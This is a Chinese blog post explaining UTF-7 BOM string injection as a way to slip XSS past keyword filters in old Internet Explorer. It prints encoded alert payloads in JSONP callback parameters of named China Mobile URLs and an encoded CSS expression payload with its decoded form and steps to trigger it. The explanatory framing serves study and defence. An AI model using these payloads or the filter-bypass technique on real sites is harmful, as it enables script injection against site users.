utf7-BOM 字符串注入

 

 

 

 

最近公司忽然爆出一些安全漏洞,且会员引起了金钱的损失。于是大家都忙于找自己的安全漏洞。由于之前接触最多的是CSRF/CSS sql注入之类的攻击,所以这些都是保证的,但这次从安全同学那里第一次听说利用UTF-7编码结合XSS去攻击的安全漏洞,搜索了个海枯石烂,总算搞懂了

 

 

 

网上找到的实例:


http://music.10086.cn/newweb/jsp/v3_search/getDefaultKeywords.jsp?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJwA

4ADAAcABlAG4AdABlAHMAdAAnACkAOwA8AC8AcwBjAHIAaQBwAHQAPgA8AC8AYgBvAGQAeQA

+ADwALwBoAHQAbQA+A-

http://www.js.10086.cn/activity/tranAppOper.jspx?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJw

BkAGEAbgBnAGQAYQBuAGcAJwApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAP

gA8AC8AaAB0AG0APg-

http://www.js.10086.cn/activity/getSdCode.jspx?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJ

wBkAGEAbgBnAGQAYQBuAGcAJwApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHk

APgA8AC8AaAB0AG0APg-

貌似目前还没有web扫描器支持json注射的检查?

还有用于css的利用:

本机建一个a.css

+/v8
body{background:#FFFFFF;font-family:’+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoACgAdwBpAG4AZABvAHcAL

gByAHIAcgA9AD0AMQApAD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGE

AbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5ACAATgBlAHcAIABZAGUAYQByACEAIAB0A

GgAeAAgAG0AYQByAGkAbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgBhAG0AaQ

BsAHkAOgAnA-’;}

同目录下再建一个test.htm

<STYLE>@import’a.css’;</STYLE>

用ie访问test.htm即可弹窗。通过以上实例来说,utf7-BOM string injection主要的意义在于bypass filter,比如上面那个a.css明文是:

body{
font-family:
‘x’;xss:expression((window.rrr==1)?”:eval(‘rrr=1;eval(alert(/Happy New Year XXX/));’));font-family:”;
}

因为对expression/eval/alert/javascript之类的关键词太过招摇,容易被过滤,所以hacker想到通过编码的方式来绕过诸如sanitation、filter的安全检测措施。utf-7 BOM 通过在文件的开头(这就是为什么添加空格后失效的原因)注明 +/v8 / +/v9 等关键字的方式告诉浏览器以何种character解析文件。



原理描述:

微软浏览器在解析网页等内容时,判断字符集的方式上存在问题,根据RFC标准上应该header头设置优先于本 地的meta和bom等其他方式识别出的字符集,但是微软ie会忽略掉其他设置的字符集而以Bom判断出的字符集优先;一般字符集都不会有什么问题,但是 因为utf7的特殊性,他的Bom为+/v8等,完全是合法字符,所以一旦使用utf-7字符集的时候就可能导致一些基于文本过滤的规则失效,譬如典型的 过滤<>”等等;由于bom的特殊性,他要求在文件的头几个字节,所以应用空间比较有限,目前被安全人员披露的独立存储css时导致的问题, 应用如百度空间等,以及被广泛使用的json,json的callback一般都是处于返回请求的头几个字节,json被广泛使用并且能够被控制 callback而没有白名单限制的不在少数,本来json也不会导致严重的安全问题,但是国内互联网厂商在技术严谨方面比较缺乏,http协议里的 Content-Type决定了ie处理内容的方式,本来按照规范,json的返回头应该设置为Content-Type: text/javascript;,这样ie在处理这个请求的时候就会知道这是个json请求,而不会去做其他的解析,但是在国内的厂商里头,大家基本无 视该选项,而一般都是默认设置为Content-Type: text/html,于是导致大量的xss。



具体参考

1 搜索Paper <<XSS Lightsabre techniques>> [最原始的引起注意的utf-7的利用]

2 http://seclists.org/fulldisclosure/2011/Feb/199 [utf-7 json注射利用]

3./Article/201102/83168.html [可以看到广大群众关于此问题的讨论]

4 http://www.worldlingo.com/ma/enwiki/zh_tw/Byte-order_mark [bom字符集]

5 /Article/201103/85662.html[最近那个BOM及浏览器charset识别]

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值